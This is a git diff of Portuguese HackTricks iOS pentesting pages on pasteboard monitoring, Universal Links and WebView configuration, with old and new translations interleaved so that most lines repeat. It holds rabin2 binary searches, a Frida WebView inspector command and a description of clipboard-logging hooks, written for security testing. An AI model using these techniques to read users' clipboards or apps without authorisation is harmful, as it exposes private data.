* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,36 +20,36 @@ Outras maneiras de apoiar o HackTricks:
O compartilhamento de dados dentro e entre aplicativos em dispositivos iOS é facilitado pelo mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que é dividido em duas categorias principais:
- **Área de transferência geral em todo o sistema**: Esta é usada para compartilhar dados com **qualquer aplicativo** e é projetada para persistir dados através de reinicializações do dispositivo e desinstalações de aplicativos, um recurso disponível desde o iOS 10.
- **Áreas de transferência personalizadas/nomeadas**: Estas são especificamente para compartilhamento de dados **dentro de um aplicativo ou com outro aplicativo** que compartilha o mesmo ID de equipe e não são projetadas para persistir além da vida do processo do aplicativo que as cria, seguindo as alterações introduzidas no iOS 10.
- **Área de transferência geral do sistema**: Esta é usada para compartilhar dados com **qualquer aplicativo** e é projetada para persistir dados entre reinicializações do dispositivo e desinstalações de aplicativos, um recurso que está disponível desde o iOS 10.
- **Áreas de transferência personalizadas / nomeadas**: Estas são especificamente para compartilhamento de dados **dentro de um aplicativo ou com outro aplicativo** que compartilha o mesmo ID de equipe, e não são projetadas para persistir além da vida do processo do aplicativo que as cria, seguindo as mudanças introduzidas no iOS 10.
As **considerações de segurança** desempenham um papel significativo ao utilizar as áreas de transferência. Por exemplo:
- Não há mecanismo para os usuários gerenciarem as permissões do aplicativo para acessar a **área de transferência**.
- Para mitigar o risco de monitoramento não autorizado em segundo plano da área de transferência, o acesso é restrito quando o aplicativo está em primeiro plano (desde o iOS 9).
- O uso de áreas de transferência nomeadas persistentes é desencorajado em favor de contêineres compartilhados devido a preocupações com a privacidade.
- O recurso **Área de Transferência Universal** introduzido com o iOS 10, permitindo o compartilhamento de conteúdo entre dispositivos via área de transferência geral, pode ser gerenciado pelos desenvolvedores para definir a expiração dos dados e desativar a transferência automática de conteúdo.
**Considerações de segurança** desempenham um papel significativo ao utilizar áreas de transferência. Por exemplo:
- Não há mecanismo para os usuários gerenciarem permissões de aplicativos para acessar a **área de transferência**.
- Para mitigar o risco de monitoramento não autorizado em segundo plano da área de transferência, o acesso é restrito a quando o aplicativo está em primeiro plano (desde o iOS 9).
- O uso de áreas de transferência nomeadas persistentes é desencorajado em favor de contêineres compartilhados devido a preocupações de privacidade.
- O recurso **Clipboard Universal** introduzido com o iOS 10, permitindo que o conteúdo seja compartilhado entre dispositivos via a área de transferência geral, pode ser gerenciado pelos desenvolvedores para definir a expiração de dados e desativar a transferência automática de conteúdo.
Garantir que **informações sensíveis não sejam armazenadas inadvertidamente** na área de transferência geral é crucial. Além disso, os aplicativos devem ser projetados para evitar o uso indevido de dados da área de transferência geral para ações não intencionais, e os desenvolvedores são incentivados a implementar medidas para evitar a cópia de informações sensíveis para a área de transferência.
Garantir que **informações sensíveis não sejam armazenadas inadvertidamente** na área de transferência global é crucial. Além disso, os aplicativos devem ser projetados para evitar o uso indevido de dados da área de transferência global para ações não intencionais, e os desenvolvedores são incentivados a implementar medidas para evitar a cópia de informações sensíveis para a área de transferência.
### Análise Estática
Para análise estática, pesquise o código-fonte ou binário por:
- `generalPasteboard` para identificar o uso da **área de transferência geral em todo o sistema**.
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` para criar **áreas de transferência personalizadas**. Verifique se a persistência está ativada, embora isso seja obsoleto.
Para análise estática, procure no código-fonte ou binário por:
- `generalPasteboard` para identificar o uso da **área de transferência geral do sistema**.
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` para criar **áreas de transferência personalizadas**. Verifique se a persistência está habilitada, embora isso esteja obsoleto.
### Análise Dinâmica
A análise dinâmica envolve o hooking ou rastreamento de métodos específicos:
A análise dinâmica envolve a interceptação ou rastreamento de métodos específicos:
- Monitore `generalPasteboard` para uso em todo o sistema.
- Rastreie `pasteboardWithName:create:` e `pasteboardWithUniqueName` para implementações personalizadas.
- Observe chamadas de método `setPersistent:` obsoletas para verificar as configurações de persistência.
- Observe chamadas de método obsoleto `setPersistent:` para verificar configurações de persistência.
Detalhes-chave a serem monitorados incluem:
- **Nomes** e **conteúdos** da área de transferência (por exemplo, verificando strings, URLs, imagens).
Detalhes importantes a serem monitorados incluem:
- **Nomes da área de transferência** e **conteúdos** (por exemplo, verificando strings, URLs, imagens).
- **Número de itens** e **tipos de dados** presentes, aproveitando verificações de tipos de dados padrão e personalizados.
- Opções de **expiração e somente local** ao inspecionar o método `setItems:options:`.
- **Opções de expiração e locais apenas** inspecionando o método `setItems:options:`.
Um exemplo de uso de ferramenta de monitoramento é o **monitor de área de transferência do objection**, que verifica a área de transferência geral a cada 5 segundos em busca de alterações e exibe os novos dados.
Um exemplo de uso de ferramenta de monitoramento é o **monitor de área de transferência do objection**, que verifica a generalPasteboard a cada 5 segundos em busca de alterações e exibe os novos dados.
Aqui está um exemplo simples de script JavaScript, inspirado na abordagem do objection, para ler e registrar alterações da área de transferência a cada 5 segundos:
```javascript
@ -85,16 +86,17 @@ console.log(items);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# iOS Universal Links
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Introdução
Os links universais oferecem uma experiência de **redirecionamento contínuo** aos usuários, abrindo diretamente o conteúdo no aplicativo, evitando a necessidade de redirecionamento pelo Safari. Esses links são **únicos** e seguros, pois não podem ser reivindicados por outros aplicativos. Isso é garantido hospedando um arquivo JSON `apple-app-site-association` no diretório raiz do site, estabelecendo um link verificável entre o site e o aplicativo. Nos casos em que o aplicativo não está instalado, o Safari assume e direciona o usuário para a página da web, mantendo a presença do aplicativo.
Os links universais oferecem uma **experiência de redirecionamento** sem interrupções para os usuários, abrindo diretamente o conteúdo no aplicativo, evitando a necessidade de redirecionamento pelo Safari. Esses links são **únicos** e seguros, pois não podem ser reivindicados por outros aplicativos. Isso é garantido ao hospedar um arquivo JSON `apple-app-site-association` no diretório raiz do site, estabelecendo um link verificável entre o site e o aplicativo. Nos casos em que o aplicativo não está instalado, o Safari assume e direciona o usuário para a página da web, mantendo a presença do aplicativo.
Para testadores de penetração, o arquivo `apple-app-site-association` é de particular interesse, pois pode revelar **caminhos sensíveis**, potencialmente incluindo aqueles relacionados a recursos não lançados.
### **Analisando a Entitlement de Domínios Associados**
### **Analisando a Concessão de Domínios Associados**
Os desenvolvedores habilitam os Links Universais configurando os **Domínios Associados** na guia Capacidades do Xcode ou inspecionando o arquivo `.entitlements`. Cada domínio é prefixado com `applinks:`. Por exemplo, a configuração do Telegram pode aparecer da seguinte forma:
Os desenvolvedores ativam os Links Universais configurando os **Domínios Associados** na aba Capacidades do Xcode ou inspecionando o arquivo `.entitlements`. Cada domínio é prefixado com `applinks:`. Por exemplo, a configuração do Telegram pode aparecer da seguinte forma:
```xml
<key>com.apple.developer.associated-domains</key>
<array>
@ -32,21 +33,21 @@ Os desenvolvedores habilitam os Links Universais configurando os **Domínios Ass
<string>applinks:t.me</string>
</array>
```
Para obter insights mais abrangentes, consulte a [Documentação Arquivada do Desenvolvedor da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Para obter informações mais abrangentes, consulte a [Documentação do Desenvolvedor Apple arquivada](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Se estiver trabalhando com um aplicativo compilado, os direitos podem ser extraídos conforme descrito neste [guia](extracting-entitlements-from-compiled-application.md).
Se estiver trabalhando com um aplicativo compilado, as permissões podem ser extraídas conforme descrito [neste guia](extracting-entitlements-from-compiled-application.md).
### **Recuperando o Arquivo de Associação do Site do Aplicativo da Apple**
### **Recuperando o Arquivo de Associação do Site do Aplicativo Apple**
O arquivo `apple-app-site-association` deve ser recuperado do servidor usando os domínios especificados nos direitos. Certifique-se de que o arquivo seja acessível via HTTPS diretamente em `https://<domínio>/apple-app-site-association`. Ferramentas como o [Validador de Associação do Site do Aplicativo da Apple (AASA)](https://branch.io/resources/aasa-validator/) podem auxiliar nesse processo.
O arquivo `apple-app-site-association` deve ser recuperado do servidor usando os domínios especificados nas permissões. Certifique-se de que o arquivo esteja acessível via HTTPS diretamente em `https://<domain>/apple-app-site-association`. Ferramentas como o [Validador de Associação de Site de Aplicativo Apple (AASA)](https://branch.io/resources/aasa-validator/) podem ajudar nesse processo.
### **Manipulando Links Universais no Aplicativo**
O aplicativo deve implementar métodos específicos para lidar corretamente com links universais. O método principal a ser procurado é [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). É crucial que o esquema de URLs manipulados seja HTTP ou HTTPS, pois outros não serão suportados.
O aplicativo deve implementar métodos específicos para manipular links universais corretamente. O método principal a ser procurado é [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). É crucial que o esquema das URLs manipuladas seja HTTP ou HTTPS, pois outros não serão suportados.
#### **Validando o Método do Manipulador de Dados**
#### **Validando o Método de Manipulação de Dados**
Quando um link universal abre um aplicativo, um objeto `NSUserActivity` é passado para o aplicativo com o URL. Antes de processar este URL, é essencial validá-lo e sanitizá-lo para evitar riscos de segurança. Aqui está um exemplo em Swift que demonstra o processo:
Quando um link universal abre um aplicativo, um objeto `NSUserActivity` é passado para o aplicativo com a URL. Antes de processar essa URL, é essencial validá-la e sanitizá-la para evitar riscos de segurança. Aqui está um exemplo em Swift que demonstra o processo:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
URLs devem ser cuidadosamente analisados e validados, especialmente se incluírem parâmetros, para se proteger contra possíveis falsificações ou dados malformados. A API `NSURLComponents` é útil para esse fim, como demonstrado abaixo:
URLs devem ser cuidadosamente analisados e validados, especialmente se incluírem parâmetros, para se proteger contra possíveis falsificações ou dados malformados. A API `NSURLComponents` é útil para esse propósito, como demonstrado abaixo:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -84,28 +85,26 @@ return false
}
}
```
Através da **configuração e validação diligentes**, os desenvolvedores podem garantir que os links universais aprimorem a experiência do usuário, mantendo os padrões de segurança e privacidade.
Através de **configuração e validação diligentes**, os desenvolvedores podem garantir que os links universais melhorem a experiência do usuário enquanto mantêm padrões de segurança e privacidade.
## Ferramentas
* [GetUniversal.link](https://getuniversal.link/): Ajuda a simplificar o teste e gerenciamento dos Links Universais e do arquivo AASA do seu aplicativo. Basta inserir seu domínio para verificar a integridade do arquivo AASA ou usar o painel personalizado para testar facilmente o comportamento do link. Essa ferramenta também ajuda a determinar quando a Apple indexará seu arquivo AASA.
* [GetUniversal.link](https://getuniversal.link/): Ajuda a simplificar o teste e a gestão dos Links Universais do seu aplicativo e do arquivo AASA. Basta inserir seu domínio para verificar a integridade do arquivo AASA ou usar o painel personalizado para testar facilmente o comportamento dos links. Esta ferramenta também ajuda a determinar quando a Apple indexará seu arquivo AASA na próxima vez.
## Referências
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# WebViews do iOS
# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
O código desta página foi extraído [aqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Verifique a página para mais detalhes.
O código desta página foi extraído de [aqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Confira a página para mais detalhes.
## Tipos de WebViews
WebViews são utilizados em aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral:
WebViews são utilizados dentro de aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral:
- **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à falta de suporte para desabilitar **JavaScript**, tornando-o suscetível a injeção de script e ataques de **Cross-Site Scripting (XSS)**.
- **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à sua falta de suporte para desativar **JavaScript**, tornando-o suscetível a injeção de scripts e ataques de **Cross-Site Scripting (XSS)**.
- **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. O **JavaScript** é habilitado por padrão, mas pode ser desativado se necessário. Ele também suporta recursos para evitar que o JavaScript abra automaticamente janelas e garante que todo o conteúdo seja carregado com segurança. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetando o processo principal do aplicativo.
- **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. **JavaScript** é ativado por padrão, mas pode ser desativado se necessário. Também suporta recursos para evitar que o JavaScript abra janelas automaticamente e garante que todo o conteúdo seja carregado de forma segura. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetar o processo principal do aplicativo.
- **SFSafariViewController** oferece uma experiência de navegação na web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir o conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário a partir do aplicativo. Ele deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.
- **SFSafariViewController** oferece uma experiência de navegação na web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário em relação ao aplicativo. Deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
@ -34,43 +35,43 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Resumo da Exploração da Configuração de WebViews
## WebViews Configuration Exploration Summary
### **Visão Geral da Análise Estática**
### **Static Analysis Overview**
No processo de examinar as configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar essas WebViews dentro de um binário, comandos são utilizados, buscando por referências de classes específicas e métodos de inicialização.
No processo de exame das configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar esses WebViews dentro de um binário, comandos são utilizados, buscando referências de classe específicas e métodos de inicialização.
- **Identificação de UIWebView**
- **Identificação do UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Este comando ajuda a localizar instâncias de **UIWebView** ao procurar por strings de texto relacionadas a ele no binário.
Este comando ajuda a localizar instâncias de **UIWebView** procurando por cadeias de texto relacionadas a ele no binário.
- **Identificação do WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Da mesma forma, para o **WKWebView**, este comando pesquisa o binário por strings de texto indicativas de seu uso.
Da mesma forma, para **WKWebView**, este comando busca no binário por strings de texto indicativas de seu uso.
Além disso, para encontrar como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionado à sua inicialização:
Além disso, para descobrir como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionada à sua inicialização:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Verificação de Configuração do JavaScript**
Para o **WKWebView**, é destacado que desativar o JavaScript é uma prática recomendada, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desativado:
Para **WKWebView**, é destacado que desabilitar o JavaScript é uma boa prática, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desabilitado:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Apenas Verificação de Conteúdo Seguro**
#### **Verificação de Somente Conteúdo Seguro**
**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Informações de Análise Dinâmica**
### **Insights de Análise Dinâmica**
A análise dinâmica envolve a inspeção do heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse fim, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas a JavaScript e conteúdo seguro.
A análise dinâmica envolve inspecionar o heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse propósito, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas ao JavaScript e conteúdo seguro.
A inspeção do heap pode ser realizada usando `ObjC.choose()` para identificar instâncias de WebView e verificar as propriedades `javaScriptEnabled` e `hasonlysecurecontent`.
@ -127,24 +128,24 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Resultados Chave**:
- Instâncias de WebViews são localizadas e inspecionadas com sucesso.
- A ativação do JavaScript e as configurações de conteúdo seguro são verificadas.
- A habilitação de JavaScript e as configurações de conteúdo seguro são verificadas.
Este resumo encapsula os passos críticos e comandos envolvidos na análise das configurações do WebView por meio de abordagens estáticas e dinâmicas, focando em recursos de segurança como a ativação do JavaScript e detecção de conteúdo misto.
Este resumo encapsula os passos e comandos críticos envolvidos na análise das configurações do WebView através de abordagens estáticas e dinâmicas, focando em recursos de segurança como a habilitação de JavaScript e a detecção de conteúdo misto.
## Manipulação de Protocolo do WebView
## Manipulação de Protocólos do WebView
Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si.
Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que, ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si.
**WebViews** oferecem diferentes métodos para carregar conteúdo. Para **UIWebView**, agora obsoleto, são utilizados métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar um URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.
**WebViews** oferecem diferentes métodos para carregamento de conteúdo. Para **UIWebView**, agora obsoleto, métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:` são utilizados. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar uma URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.
Para encontrar esses métodos no código-fonte ou binário compilado, comandos como os seguintes podem ser usados:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Em relação ao **acesso a arquivos**, o UIWebView permite universalmente, enquanto o WKWebView introduz configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a URLs de arquivos, sendo ambas falsas por padrão.
